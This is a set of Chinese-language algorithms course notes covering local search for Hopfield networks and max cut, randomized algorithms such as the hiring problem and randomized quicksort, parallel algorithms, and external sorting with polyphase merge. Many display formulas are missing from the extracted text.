首先,定义势能函数为一个构型\(S\)所有好边的权重的绝对值之和
显然,对于任意的构型\(S\),\(\Phi(S) \geqslant 0\),并且最大值就是所有边的权重绝对值之和。即
假设当前状态为\(S\),有一个不满意的点\(u\),那么我们将\(u\)的状态取反变为\(\overline{u}\),设此时状态为\(S'\),那么
这是因为翻转后原先与 \(u\) 相连的好边都变成了坏边,坏边都变成了好边,其余边没有变化。又因为 \(u\) 是不满意的,因此与 \(u\) 相连的坏边比好边权重绝对值之和大,所以上式大于 0
势能函数只能取整数值,所以 \(\Phi(S') \geqslant \Phi(S)+1\)
这就意味着我们每次翻转一个不满意的点,势能函数就会增加至少 1。因为势能函数的取值范围是有限的(0 到所有边权重绝对值之和),所以我们的局部搜索算法一定会停止;
有推论:
设 \(S\) 是一个构型,如果 \(\Phi(S)\) 是局部最大值,则 \(S\) 是一个稳定构型
证明:如果 \(S\) 不是一个稳定构型,那么至少有一个点是不满意的,我们可以翻转这个点,势能函数会增加至少 1,这就意味着 \(\Phi(S)\) 不是局部最大值,矛盾。
最大割问题 (Max Cut)¶
最大割问题也是一个经典的 NP 困难问题,在这一问题中,我们希望将一个边权全为正的无向图 \(G = (V, E)\) 的顶点集合 \(V\) 分成两个集合 \(A\) 和 \(B\)(这时的解记为 \((A, B)\)),使得割边的权重和最大,其中割边的含义就是一条边的两个端点分别在 \(A\) 和 \(B\) 中,即我们要最大化
与Hopfield的关联
我们希望给出一个局部搜索解法----这是非常自然的,因为它和 Hopfield 神经网络问题之间有一个很直接的关联。我们有一个很简单的观察,对于任意的解 \((A, B)\),然后将 \(A\) 中的点赋状态\(-1\),\(B\) 中的点赋状态 \(1\),因为所有边的权重都是正数,所以最大化割边权重和对应于\(Hopfield\) 神经网络问题其实就是最大化好边的总权重和 \(\Phi(S)\),这就和 Hopfield 神经网络问题一样了,使用State flipping算法即可
局部算法与最优解的关系¶
在最大割问题中,我们可以证明局部搜索算法的最优解和全局最优解之间的关系:局部搜索算法给出的局部最优解最差也不会低于最优解的一半
即
设 \((A, B)\) 是如上局部搜索算法得出的一个局部最优解,\((A^∗, B^∗)\) 是最优解,则
Proof
设 \(u \in A\),因为\((A,B)\)是局部最优解,所以,如果将\(u\)从\(A\)中移到\(B\)中,割边权重和会减少;即
对所有的\(u \in A\)都成立,所以求和得到
等式左边为\(A\)中所有的边权重和的两倍,右边为\(A\)和\(B\)之间的边权重和(所有的割边的权重和),所以
同理,我们可以得到
我们又知道,总的边权重和为
所以
优化¶
事实上在控制迭代次数引起的复杂度时非常常用(这里就是求 \(\Phi(S)\) 的局部最优值需要的迭代次数可能太多)。我们要求算法在找不到一个能对解有 “比较大的提升” 的时候就停止,即使当时的解不是局部最优解:
当我们处于解 \(w(A, B)\) 时,我们要求下一个解的权重至少要增大\(\dfrac{2\varepsilon}{n}w(A, B)\),其中 \(n\) 是图 \(G\) 的顶点数。对于这一算法,我们有如下结论:
设 \((A, B)\) 是如上局部搜索算法得出的一个解,\((A^∗, B^∗)\) 是最优解,则
并且这一算法会在 \(O(\dfrac{n}{\varepsilon} \log W)\) 次状态翻转后停止,其中 \(W\) 是所有边的权重之和
Proof
对于任意的解 \((A, B)\),设\(u \in A\)
对所有的\(u \in A\)都成立,所以求和得到
其中 \(n_A\) 是 \(A\) 中的点数,同理
所以
因为我们每次反转会使得割边权重和增加\(1+\dfrac{\varepsilon}{n}\)倍,所以我们需要\(O(\dfrac{n}{\varepsilon} \log W)\)次状态翻转后会达到停止条件
选择更好的邻居

随机算法¶
约 1631 个字 54 行代码 预计阅读时间 6 分钟
确定性算法是指在给定相同输入的情况下,算法总是产生相同的结果。
随机算法是指在给定相同输入的情况下,算法可能产生不同的结果。
对于一些复杂的计算问题,确定性算法可能需要耗费大量的时间和资源,而随机算法可以在合理的时间内提供一个近似解。例如,蒙特卡罗方法在计算高维积分时表现出色。
在某些情况下,输入数据可能具有不确定性或噪声,随机算法可以更好地处理这些不确定性。例如,随机森林算法在处理有噪声的数据时表现良好。
有些问题的确定性算法设计非常复杂,而随机算法可以提供一种更为简单和直接的解决方案。例如,拉斯维加斯算法在找到正确解之前会不断尝试,设计相对简单。
在分布式计算环境中,随机算法可以有效地分配任务,减少通信开销,提高计算效率。例如,哈希算法在分布式系统中的负载均衡中起到了重要作用。
随机算法分为以下两种
随机算法
-
拉斯维加斯算法(Las Vegas Algorithm): 这种算法在每次运行时都会使用随机性,但它保证最终会找到一个正确的解。也就是说,拉斯维加斯算法的输出总是正确的,但运行时间可能会有所不同。一个典型的例子是快速排序算法的随机化版本,它通过随机选择枢轴来提高平均性能。 (randomized algorithms that are always correct, and run efficiently in expectation)
-
蒙特卡罗算法(Monte Carlo Algorithm): 这种算法在每次运行时都会使用随机性,但它不一定能找到一个正确的解。也就是说,蒙特卡罗算法的输出可能不正确,但运行时间通常是固定的。一个典型的例子是蒙特卡罗方法在计算高维积分时表现出色。(efficient randomized algorithms that only need to yield the correct answer with high probability)
雇佣问题(The Hiring Problem)¶
- 从猎头公司雇佣一名办公室助理
- 每天面试不同的申请者,持续 \(N\) 天
- 面试成本 \(C_i\) 远小于 雇佣成本 \(C_h\)
- 分析面试和雇佣成本而不是运行时间
假设雇佣了 \(M\) 个人。 总成本:\(O(NC_i + MC_h)\)
Naive solution:
int Hiring ( EventType C[ ], int N )
{ /* candidate 0 is a least-qualified dummy candidate */
int Best = 0;
int BestQ = the quality of candidate 0;
for ( i=1; i<=N; i++ ) {
Qi = interview( i ); /* Ci */
if ( Qi > BestQ ) {
BestQ = Qi;
Best = i;
hire( i ); /* Ch */
}
}
return Best;
}
最坏情况是面试者始终比前一个面试者优秀,那么需要面试 \(N\) 次,雇佣 \(N\) 次,总成本为 \(O(NC_h)\)。
假设\(N\)个面试者以随机顺序被试,前\(i\)个候选人中的任何一个都同样有可能是迄今为止最合格的。
即第\(i\)个人被选中的概率相当于\(i\)个球的盒子中随机抽取一个球,抽到最好球的概率,为\(\frac{1}{i}\)。
定义随机变量\(X_i\)
定义随机变量 \(X_i\) 如下:
候选人 \(i\) 被雇佣的概率为 \(\frac{1}{i}\)。
总的雇佣次数 \(X\) 为:
期望值为:
因此,期望总雇佣次数为:
总成本为 \(O(C_h \ln N + NC_i)\)。
int RandomizedHiring ( EventType C[ ], int N )
{ /* candidate 0 is a least-qualified dummy candidate */
int Best = 0;
int BestQ = the quality of candidate 0;
randomly permute the list of candidates;//takes time
for ( i=1; i<=N; i++ ) {
Qi = interview( i ); /* Ci */
if ( Qi > BestQ ) {
BestQ = Qi;
Best = i;
hire( i ); /* Ch */
}
}
}
算法的关键在于生成随机排列。
Assign each element A[ i ] a random priority P[ i ],and sort
void PermuteBySorting ( ElemType A[ ], int N )
{
for ( i=1; i<=N; i++ )
A[i].P = 1 + rand()%(N^3);
/* makes it more likely that all priorities are unique */
Sort A, using P as the sort keys;
}
如果只Hire一个:
int OnlineHiring ( EventType C[ ], int N, int k )
{
int Best = N;
int BestQ = - ;
for ( i=1; i<=k; i++ ) {
Qi = interview( i );
if ( Qi > BestQ ) BestQ = Qi;
}
for ( i=k+1; i<=N; i++ ) {
Qi = interview( i );
if ( Qi > BestQ ) {
Best = i;
break;
}
}
return Best;
}
先随机挑选k个面试,取出其中最好的,然后从第k+1个开始,如果比最好的还好的话,就雇佣。
\( S_i \): 第 \( i \) 个申请者是最好的
要使 \( S_i \) 成立,需要满足:
- \( A \): 最好的申请者在位置 \( i \);概率为 \(\frac{1}{N}\)
- \( B \): 在位置 \( k+1 \) 到 \( i-1 \) 没有人被雇佣,也就是说,1到 \( i-1 \) 中没有比挑出的 \( k \) 个更好的(前 \( i-1 \) 个中最好的在\(k\)个中),概率为 \(\frac{k}{(i-1)}\)
概率计算:
其被以下这个积分式子bound住
对于给定的 \( k \),雇佣到最优候选人的概率满足:
为了最大化这个概率,我们需要找到最佳的 \( k \) 值:
通过求导并设导数为零,我们得到:
这意味着:
带入
随机化快速排序¶
对于传统的快速排序,最坏情况是每次选择的pivot都是最小或最大值,导致每次划分都只能减少一个元素,导致时间复杂度为\(O(N^2)\)。
其平均时间复杂度为\(O(N\log N)\)。
如果我们随机选择pivot,并希望这个pivot满足:
中心分割:= 选择一个枢轴,使得每一侧至少包含 \(\frac{n}{4}\) 个元素
改进快速排序:= 在递归之前总是选择一个中心分割
期望意义下两次选中
The expected number of iterations needed until we find a central splitter is at most 2.
每一次,选中的概率是\(\frac{1}{2}\),需要选一个中心分割,所以n次伯努利试验期望意义下需要选两次,n=2。 或者,以几何分布的眼光来看,成功的概率是\(\frac{1}{2}\),所以期望意义下需要选两次。
定义:
Type \( j \): the subproblem \( S \) is of type \( j \) if \( N \left( \frac{3}{4} \right)^{j+1} \leq |S| \leq N \left( \frac{3}{4} \right)^j \)
推出: There are at most \( \left( \frac{4}{3} \right)^{j+1} \) subproblems of type \( j \).
因为下界要小于\(N\)
一个typej的期望成本为
不同的type的个数为
Number of different types = \( \log_{4/3} N = O(\log N) \)
This results in a total complexity of \( O(N \log N) \).
并行算法¶
约 5345 个字 10 行代码 7 张图片 预计阅读时间 19 分钟
并行算法的设计是为了提高计算效率和性能。随着数据量的增加和计算任务的复杂化,单一处理器的计算能力已经无法满足需求。通过并行算法,可以将一个大的计算任务分解成多个小任务,并行执行,从而显著减少计算时间 。从而更好利用现代计算机多核的优势
概念与定理¶
Definition
加速比 (Speedup) 是指在并行计算中,使用 \( p \) 个处理器时相对于使用一个处理器时的性能提升比例,记为 \( S(p) \),
其中 \( T_1 \) 是使用一个处理器时的运行时间,\( T_p \) 是使用 \( p \) 个处理器时的运行时间。
理想加速比:
内存共享方式
-
EREW (Exclusive Read Exclusive Write): 每个内存位置在任意时刻只能被一个处理器读取或写入;
-
CREW (Concurrent Read Exclusive Write): 每个内存位置在任意时刻可以被多个处理器读取,但只能被一个处理器写入;
-
CRCW (Concurrent Read Concurrent Write): 每个内存位置在任意时刻可以被多个处理器读取或写入,因为写入涉及到同时写入不同值可能造成的冲突。因此写入策略可以分如下三种:
(a) CRCW-C (Common): 所有处理器写入的值相同时才会写入;
(b) CRCW-A (Arbitrary): 所有处理器写入的值可以不同,任意读取其中一个写入即可;
© CRCW-P (Priority): 所有处理器写入的值可以不同,但存在一个优先级,只有优先级最高的写入才会生效。
阿姆达尔定律
设 \( 0 \leqslant f \leqslant 1 \) 是一个程序中必须串行执行的部分的比例,那么使用 \( p \) 个处理器的最大加速比 \( S(p) \) 满足
证明: 设整个程序中串行部分的时间为 \( t \),那么串行部分的时间为 \( ft \),并行部分的时间为 \( (1-f)t \)。使用 \( p \) 个处理器时,串行部分的时间不变,而并行部分的时间最少为 \( (1-f)t/p \),因此总的时间最少为 \( ft + (1-f)t/p \),因此加速比最大为
这个定律假定串行部分不可独立于问题大小
Gustafson定律
设某个程序使用 \( p \) 个处理器并行执行时,串行部分花费的时间为 \( f_1 \)(不是比例),并行部分花费的时间为 \( f_2 \),那么使用 \( p \) 个处理器的最大加速比 \( S(p) \) 满足
证明: 由此可知,使用 \( p \) 个处理器并行执行的时间为 \( T_p = f_1 + f_2 \),使用一个处理器单件执行的时间应当为 \( T_1 = f_1 + f_2 \cdot p \),因此加速比为
孙-倪定律
定理 14.4 (孙-倪定律, 1990) 设某个程序串行部分占比为 \( f \),并行部分占比为 \( 1-f \),内存受限函数为 \( G(p) \),那么使用 \( p \) 个处理器的最大加速比 \( S(p) \) 满足
Definition
\(D\) 具有无穷多个处理器时的时间
\(W\) 是使用一个处理器时的时间
定义为算法的平均并行度
布伦特定律
定理 14.5 (布伦特定律, Brent's Theorem) 设一个并行计算用到的工作量为 \( W \),关键路径长度为 \( D \),那么使用 \( p \) 个处理器的并行时间满足如下不等式:
证明: 下界是显然的,因为 \( T_p \geqslant T_{\infty} \),而 \( T_{\infty} \) 也是受理想模型加速比的限制的,因此 \( T_p \geqslant W/p \)。
对于上界,因为关键路径长度为 \( D \),因此能够并行执行的计算可以分为 \( D \) 个内部任务,互相之间有前后的依赖,设每个阶段的工作量为 \( W_i \),则有
使用 \( p \) 个处理器时,每一个阶段所需的时间为 \( \lceil W_i/p \rceil \),向上取整的原因在于,每个阶段的工作量可能不能被整除。因此如果任务分成了 7 个任务,每个任务有 3 个处理器,那么每个处理器会分到的任务个数是 2, 2, 3。
因此我们需要的时间就是
其中我们使用了等式
前缀和问题¶
首先,对于求和问题,可以转换为二叉树的求和问题,每个节点表示一个求和操作,每个节点有两个子节点,分别表示两个求和操作。
对于前缀和问题,先定义如下式子
其中 \( h \) 表示树的高度,\( i \) 表示树的第 \( i \) 个节点,\( \alpha \) 表示树的最右下角节点的 \( i \) 值,\( A(k) \) 表示数组 \( A \) 的第 \( k \) 个元素。
在计算前缀和时,先从上往下计算得到每一个部分和的\(B\)值,然后从下往上计算得到每一个部分和的\(C\)值。
并且运用以下性质
-
如果 \( i = 1 \),那么 \( C(h, i) = B(h, i) \),这是因为 \( i = 1 \) 的时候,根据定义,\( C(h, 1) \) 是从第 1 个元素加到这 \( i \) 点为根的子树右下角的叶子节点。而 \( B(h, 1) \) 实际上也就是从第一个元素加到这 \( i \) 点为根的子树右下角的叶子(看图可以很清楚地看出)。
-
如果 \( i \) 是偶数,这表明这 \( i \) 点是其父点的右儿子,因此它和它的父亲根右下角的叶子是同一个,因此有 \( C(h, i) = C(h + 1, i/2) \);
-
如果 \( i \) 是奇数且不是 1,这表明这一点是某个点的左儿子,首先它自己的值 \( B(h, i) \) 不是从 1 开始加的,所以我们要选一个左边的点,把从 1 开始加到这个点对应的之前的部分补上,即 \( C(h, i) = C(h + 1, (i - 1)/2) + B(h, i) \)。需要注意的是,如果不是并行算法,\( C(h + 1, (i - 1)/2) \) 可以替换为 \( C(h, i - 1) \),但因为并行算法要求每一行是一起算出来的,所以要用上一行的才合理。或者用他父亲的\(C\)减去他兄弟的\(B\)
归并问题¶
归并 - 将两个非递减数组 \( A(1), A(2), \ldots, A(n) \) 和 \( B(1), B(2), \ldots, B(m) \) 归并成另一个非递减数组 \( C(1), C(2), \ldots, C(n+m) \)
直接查找¶
Idea
既然我们可以设计并行算法,那么如果我们能同时将所有 \( A \) 和 \( B \) 中的元素在最后的数组 \( C \) 中的位置找到,然后同时将它们放到正确的位置上,那么我们就可以以很快的速度解决这一问题
这里的关键步骤就是同时找到 \( A \) 和 \( B \) 中的元素在 \( C \) 中的位置,这是一个并不困难的问题。例如对 \( A \) 中的元素 \( A[i] \),它在 \( A \) 中恰是 \( i+1 \) 个元素(下标从 0 开始),即在它前面有 \( i \) 个元素。如果我们能找到它在 \( B \) 中处于
的位置,那么 \( B \) 中有 \( l+1 \) 个元素在合并后的 \( C \) 中位于 \( A[i] \) 前面。因此此时 \( A[i] \) 在 \( C \) 中的位置就是 \( C[i + l + 1] \),这样它前面就有 \( i + (l + 1) \) 个元素。对 \( B \) 中的元素 \( B[k] \) 也有类似的分析。
for Pi , 1 <= i <= n pardo
C(i + RANK(i, B)) := A(i)
for Pi , 1 <= i <= n pardo
C(i + RANK(i, A)) := B(i)
有两种策略
-
逐个元素二分查找: 使用二分查找定位到一个元素在另一个数组中的位置其需要 \( O(\log n) \) 的时间,即 \( D = O(\log n) \),总工作量为 \( O(n \log n) \);然后我们需要将所有元素放到正确的位置上。这一步复杂为 \( O(1) \),总工作量为 \( O(n) \) (如果数组长度不同则是 \( O(n+m) \)),两步合起来复杂为 \( O(\log n) \),总工作量为 \( O(n \log n) \)。
-
整体性查找: 伪代码如下
i = j = 0;
while ( i <= n || j <= m ) {
if ( A(i+1) < B(j+1) )
RANK(++i, B) = j;
else RANK(++j, A) = i;
}
实际上和归并排序的操作并无本质差别,就是两个数组的元素从头依次向后比较,因此完全没有并行,深度和总工作量都是 \( O(n) \)(或者数组长度不同就是 \( O(m + n) \))
划分范式¶
划分范式的想法非常简单,且实际运用起来非常有效,分为如下两个步骤:
-
划分 (partitioning): 把问题划分为多(设为 \( p \) 个)很小的子问题。每个子问题大小大致为 \( n/p \);
-
实际工作 (actual work): 同时对所有子问题进行处理,得到最终结果。
划分:我们将每个数组划分为 \( p \) 份(此时 \( p \) 未知,分析后我们可以选取到最优的 \( p \)),\( p \) 是一个很大的值,每个子问题很小,如 PPT 第 17 页图所示。我们首先对每个子问题的第一个元素求出它们在另一个数组的位置,这一步应当使用二分查找,否则因为子问题很多,使用线性查找会导致总工作量达到 \( O(p \cdot n) \),这几乎是平方级别的工作量,显然是不可接受的;因此我们使用二分查找,这样深度为 \( O(\log n) \),总工作量为 \( O(p \log n) \);
真实工作:现在剩下的工作就是相邻两个箭头之间的部分需要在这一很小的区域内确认相对位置,因为这些位置确定后直接可以根据上一步划分中得到的结果确定在整 个最终的数组中的位置。
注意,很显然的一点是,这些箭头不会交叉,这是由箭头代表的大小关系决定的。另一方面,相邻两个箭头之间的距离一定不超过 \( n/p \),因为一旦超过 \( n/p \),那其中一定会有一个箭头(箭头出现的频率是每 \( n/p \) 个元素一次)。并且一个数组上有 \( p \) 个出发的位置和 \( p \) 个到达的位置,所以在任意一个数组上,出发点和到达点一共最多有 \( 2p \) 个。然后两个数组的这些划分区域按图中形式一一对应进行计算,每个区域实际上就是一个子问题,即现在还剩下 \( 2p \) 个大小为 \( O(n/p) \) 的子问题。这时我们并行对每个子问题直接使用线性查找即可,因为每个子问题都非常小(大小为 \( O(n/p) \)),此时深度为 \( O(n/p) \) 也很小,总工作量为 \( 2p \cdot O(n/p) = O(n) \) 是符合要求的。而如果使用二分查找,总工作量为
这是因为有 \( 2p \) 个子问题,每个子问题都至多有 \( \frac{n}{p} \) 个元素要用至多 \( \log \left( \frac{n}{p} \right) \) 的时间确定位置,这并无法保证是 \( O(n) \) 的。
现在的问题就在于,还有两个时间复杂度未定:第一步划分的总工作量为 \( O(p \log n) \),第二步真实工作的深度为 \( O(n/p) \)。我们希望找到一个最优的 \( p \),使得第一步总工作量是 \( O(n) \) 的,第二步深度是 \( O(\log n) \) 的。这样我们就可以得到一个深度为 \( O(\log n) \),总工作量为 \( O(n) \) 的并行算法,成功做到取长补短。事实上,我们很容易看出,\( p = \frac{n}{\log n} \) 就是满足条件的,因此我们就选取这个 \( p \),得到了一个深度为 \( O(\log n) \),总工作量为 \( O(n) \) 的并行算法。
寻找最大元素¶
给定一组数列 \( A \),要求找到其中最大的元素。
不使用划分范式¶
类似于前面求和问题的做法,构造一棵二叉树,初始元素两两分组比较,然后逐层上递,最终得到最大值。这样的算法深度为 \( O(\log n) \),总工作量为 \( O(n) \)
我们可以采取更激进的策略:为什么不一次性比较所有元素呢?这样深度只需 \( O(1) \)。如果不考虑总工作量过大的问题,这种方法是可行的:并行比较每一对元素 \( A[i] \) 和 \( A[j] \),只要 \( A[i] \) 在比较中较小,就在新数组 \( B[i] \) 中写入 1(初始时 \( B \) 的所有位置为 0)。最终,最大的元素从未被写入 1,因此仍为 0。我们并行检查 \( B \) 中哪个元素为 0,即为最大值。
这类似于一场混战,每个人都要与他人对战,胜者留下,败者离场。最后留下的就是最大者。
在并行比较每对元素时,可能会有多个线程同时写入数组 \( B \)。实际上,我们只需使用前面提到的 CRCW 策略,允许同时写入,并按 common 规则写入即可,因为所有线程在任意 \( B[i] \) 处只会写入数字 1,故用 common 规则即可实现写入。
显然,这种算法的深度非常理想,为 \( O(1) \),但总工作量主要在于比较每对元素的值,因此为 \( O(n^2) \)。如果能在总工作量和深度上取长补短,这两种方法将非常完美。
双对数划分范式(double logarithmic partitioning)¶
双对数范式是一种可以二叉树的扩展。在完全二叉树中,设叶子的数量为 \( n \),那么树高是 \( \log n \) 级别的, 这里双对数则是希望构造一棵树,使得树高是 \( \log \log n \) 级别的。为了构造这样一棵树,我们首先设树 中每个节点的 level 为从根到该节点的距离(需要经过的边数),根的 level 为 0。接下来我们构造这棵 树如下:
-
设某个节点的 level 为 \( s \),当 \( s \leq \log \log n - 1 \) 时,则它有 \( 2^{2^{h-s-1}} \) 个孩子;
-
当 \( s = \log \log n \) 时,它有 2 个孩子作为树的叶子。
事实上,我们可以观察到,当一个节点的层级(level)为 \( s \) 且不在倒数两行时,根据定义,它有 \( 2^{2^{h-s-1}} \) 个孩子。以该节点为根的子树的叶子数量可以计算为 \( 2^{2^{h-s}} \)。我们知道:
这意味着在每个节点处,我们实际上将问题分成了 \( \sqrt{m} \) 个子问题,其中 \( m \) 是该节点对应的子树的叶子数量。我们知道,在双对数树中,某一层单个节点为根的子树的叶子数,其实是上一层某个节点为根的子树的叶子数的平方根(因为层数为 \( s \) 的某个节点,以它为根的子树的叶子数量是 \( 2^{2^{h-s}} \),每增加一层 \( s \) 实际上就是开一次平方根)。因此,层数越往下,子问题的大小逐步开平方根。
假设原问题的输入大小为 \( n \),我们可以通过添加一些虚拟节点(dummy nodes)来构造出以这 \( n \) 个节点为叶子的双对数树。这样,我们就可以使用双对数范式来设计一个并行算法,即在每一层将问题分为 \( \sqrt{m} \) 个子问题,其中 \( m \) 是这一层单个节点为根的子树的叶子数量。这样,每个子问题(实际上就是树上的某个节点)对应的叶子数也就是 \( \sqrt{m} \),这就与双对数树结合起来了。我们熟知的二叉树则是每层分成两个子问题,是更简单的策略。
将这一思路套用在我们的问题上:我们首先将数组划分为 \( \sqrt{n} \) 份,每一份的大小为 \( \sqrt{n} \),然后我们并行递归找到每一份中的最大值,最后在归并阶段再并行找到这 \( \sqrt{n} \) 个最大值中的最大值即可。设整个算法深度为 \( D(n) \),工作量为 \( W(n) \),它们都是关于数组长度的函数。每一份中的最大值我们采用递归的策略,因此长度为 \( \sqrt{n} \) 的数组的最大值的寻找需要 \( D(\sqrt{n}) \) 的深度和 \( W(\sqrt{n}) \) 的总工作量。以上是递归阶段,在归并阶段,返回的 \( \sqrt{n} \) 个最大值中的最大值我们采用前面的两两比较的方法即可,深度为 \( O(1) \),总工作量为 \( O((\sqrt{n})^2) = O(n) \)。于是我们按照分治法的方式可以写出递推式
换元法得到 \(D(n) = O(\log \log n)\),\(W(n) = O(n \log \log n)\)。
加速级联范式(accelerated cascade)¶
- 将数组分为 \( \frac{n}{\log \log n} \) 份,即每一份的大小为 \( \log \log n \),实际上每一份的大小都很小了,所以我们可以直接利用线性查找的方式找到每一份的最大值,则每一份的深度和工作量都是 \( O(\log \log n) \) 的;
- 然后我们对上面求出的 \( \frac{n}{\log \log n} \) 个最大值使用双对数范式的算法。
总的深度为每一份的深度加上双对数范式的深度,即
总工作量为每一份的工作量之和加上双对数范式的总工作量,即
随机算法¶
看起来我们还有改进的空间,毕竟当初暴力的两两比较方法能实现 O(1) 的深度。接下来的随机算法,它可以保证以非常高的概率在 O(1) 的深度和 O(n) 的工作量内找到最大值。
-
第一步: 从长度为 \( n \) 的数组 \( A \) 中,依照均匀分布取出 \( n^{7/8} \) 个元素,得到新的数组记为 \( B \)。这一步需要 \( n^{7/8} \) 个处理器各自负责抽一个然后放到内存中某个位置,深度为 \( O(1) \),总工作量为 \( O(n^{7/8}) \)。
-
第二步: 求出 \( B \) 中的最大值,使用确定性的算法实现,通过如下三个子步骤实现:
- 把 \( B \) 分成 \( n^{3/4} \) 个长度为 \( n^{1/8} \) 的子数组,然后使用两两比较的暴力算法并行找到每个子数组的最大值。这一步深度为 \( O(1) \),总工作量为 \( O(n^{3/4} \cdot (n^{1/8})^2) = O(n) \),因为有 \( n^{3/4} \) 个子数组,每个子数组用两两比较的办法的复杂度是数组长度平方级别的;然后将这 \( n^{3/4} \) 个最大值放在新数组 \( C \) 中。
- 把 \( C \) 分成 \( n^{1/2} \) 个长度为 \( n^{1/4} \) 的子数组,然后使用两两比较的暴力算法并行找到每个子数组的最大值。这一步深度为 \( O(1) \),总工作量为 \( O(n^{1/2} \cdot (n^{1/4})^2) = O(n) \),然后将这 \( n^{1/2} \) 个最大值放在新数组 \( D \) 中。
- 数组 \( D \) 直接使用两两比较的方法找到最大值。这一步深度为 \( O(1) \),总工作量为 \( O((n^{1/2})^2) = O(n) \)。
综合上述方法,整个第二步相当于一个三轮的淘汰赛,整体而言第二步的深度为 \( O(1) \),总工作量为 \( O(n) \),并且我们能求出 \( B \) 中的最大值,也就是抽取的 \( n^{7/8} \) 个元素中的最大值。
第三步:目前我们只得到了 \( n^{7/8} \) 个元素中的最大值(记为 \( M \))。如何进一步提高概率呢?答案是再来一轮,但这再来一轮是有讲究的。这一步我们首先均匀分布取出 \( n^{7/8} \) 个元素,得到数组 \( B \)。然后用 \( n \) 个处理器,每个处理器放 \( A \) 的一个元素,与前一步得到的 \( M \) 进行比较。如果小于 \( M \),则什么也不用做;大于 \( M \) 则往数组 \( B \) 的一个随机位置写入这一更大的值。为什么要随机写入呢?因为一共 \( n \) 个处理器,但只有 \( n^{7/8} \) 个位置可供选择,不能一一对应位置供每个处理器使用,但我们又要在 \( O(1) \) 时间内完成位置分配,只能是随机了。写完后,我们再次求出更新后的 \( B \) 中的最大值。这一步的深度和工作量与第二步相同,因此是 \( O(1) \) 的深度和 \( O(n) \) 的工作量。
以上算法以非常高的概率在 \( O(1) \) 的深度和 \( O(n) \) 的工作量内找到数组 \( A \) 中的最大值:存在常数 \( c \),使得算法只有 \( \frac{1}{n^c} \) 的概率无法在这一时间复杂度内找到最大值。
外部排序(External Sorting)¶
约 1912 个字 9 张图片 预计阅读时间 7 分钟
大部分排序算法都依赖于内存可以直接寻址的特性,但是如果数据输入在磁带上,由于磁带只能被顺序访问,所以适合用于外部排序的排序算法是归并排序。
简单做法¶
假设一开始数据存在磁带\(T_1\)上,外部内存容量是3,则依次读取3个数据为一组,交替放在磁带\(T_2\)和\(T_3\)上,然后按对应归并\(T_2\)和\(T_3\)上的数据,结果交替放在\(T_1\)和\(T_4\)上,然后重复这个过程,直到所有数据都排序完成。
Definition
- run: 每组排好序的数据称为一个run
- pass: 将所有数据读过一遍的称为一个pass
对于上述的例子,需要第一次从\(T_1\)读的一个pass加上下面三个归并的过程,一共有\(1+3=4\)个pass。
对于\(N\)个数据,如果外部内存容量是\(M\),则需要\(1+\lceil \log_2(N/ M) \rceil\)个pass。
K-way Merge¶
第一个优化方向就是减少工作的趟数,显然如果我们使用 k 路的归并,也就是每次归并 k 条纸带上对应位置的顺串,那么每次合并后顺串长度增加 k 倍,因此加上初始的 1 趟,我们只需要$ 1 + \lceil \log_k(N/M) \rceil $趟即可完成排序,减少了趟数,因此减少了磁带移动的次数,从而减少总时间。这样的算法称为 k 路合并。
k 路合并有一个实现上需要注意的点,因为我们是 k 个顺串要合并,因此我们需要不断的在 k 个元素中选取最小值放到输出的磁带上,这个操作可以使用优先队列来实现。
Key-point
对于k路合并,需要\(2k\)个tape。
多相合并¶
为了优化多路合并对于磁带数的成本,我们考虑多相合并,这种方法对于多路合并的磁带成本可以从\(2k\)减少到\(k+1\)。
首先,假设我们有三个磁带,使用2-way merge:
设有三盘磁带\(T_1、T_2\)和\(T_3\)。在\(T_1\)上有一个输入文件,它将产生\(34\)个顺串(run)。我们可以选择在\(T_2\)和\(T_3\)的每一盘磁带中放入\(17\)个顺串。然后,将结果合并到\(T_1\)上,得到一盘有\(17\)个顺串的磁带。由于所有的顺串都在一盘磁带上,因此我们必须将其中的一些顺串放到\(T_2\)上以进行另一次合并。合并的逻辑是将前\(8\)个顺串从\(T_1\)拷贝到\(T_2\)并进行合并。这样做的结果是,每次合并都需要额外的复制工作,而复制也需要磁头的移动,这是一项昂贵的操作,因此这种方法并不好。如果我们继续完成所有步骤,我们会发现总共需要\(1\)次初始操作\(+6\)次合并工作,外加\(5\)次复制操作,This sucks.
另一种选择是把原始的 \(34\)个顺串不均衡地分成两份。设我们把\(21\)个顺串放到\(T_2\)上,而把\(13\)个顺串放到\(T_3\)上。然后,在\(T_3\)用完之前将\(13\)个顺串合并到\(T_1\)上。然后我们可以将具有\(13\)个顺串的\(T_1\)和\(8\)个顺串的\(T_2\)合并到\(T_3\)上。此时,我们合并\(8\)个顺串直到\(T_2\)用完为止,这样,在\(T_1\)上将留下\(5\)个顺串,而在\(T_3\)上则有\(8\)个顺串。然后,我们再合并\(T_1\)和\(T_3\),等等,直到合并结束。
详细过程
最后使用了\(1+7=8\)个pass。
事实上,我们给出的最初 21 + 13 的分配是最优的,否则都可能出现上面的需要复制或者有长短不对齐导致浪费的情况。如果顺串的个数是一个斐波那契数 \( F_n \),那么分配这些顺串最好的方式是把它们分裂成两个斐波那契数 \( F_{n-1} \) 和 \( F_{n-2} \)。否则,为了将顺串的个数补足成一个斐波那契数就必须用一些哑顺串(dummy run)来填补磁带。
将上述算法应用到k-way merge,则需要k阶斐波那契数。
定义为
且
经过第一个pass之后,k+1个tape的结构如下
然后合并1-k个tape,结果放在tapek+1上,结果如下
此时我们的顺串个数分布与之前的是类似的,只是下标减了 1,因此我们可以继续合并除磁带 k 外每个磁带的前 \( F^{(k)}(n-2) \) 个顺串,将合并后的结果放到磁带 k 上,以此类推,直到顺串个数为 1,此时我们就完成了排序。
缓存并行处理(copy from wyy's Handout)¶
在实现外部排序时,我们通常会分块读取数据,而不是每次比较后立即将一个元素写入磁盘。这样做会导致每次比较后都需要等待磁盘处理,耗费大量时间。在2路合并中,内存应划分为2个输入缓存区和1个输出缓存区。输入缓存区用于存放从磁盘读取的数据,两个输入缓存区的数据比较后,结果暂存于输出缓存区。当输出缓存区满时,再一次性写入磁盘。
然而,这种实现仍有问题:当输出缓存区写回磁盘时,内存中的操作会暂停。为解决此问题,我们将输出缓存区拆分为两个。当一个缓存区满并写回磁盘时,另一个缓存区继续接收数据,实现并行处理——一个在内存中操作,另一个进行I/O交互。
输入缓存区也类似。如果只有2个输入缓存区,当数据比较完时,我们必须等待新数据从磁盘读入。因此,我们将其进一步划分为4个输入缓存区。当两个缓存区的数据正在比较时,另外两个缓存区可以并行读取新数据。
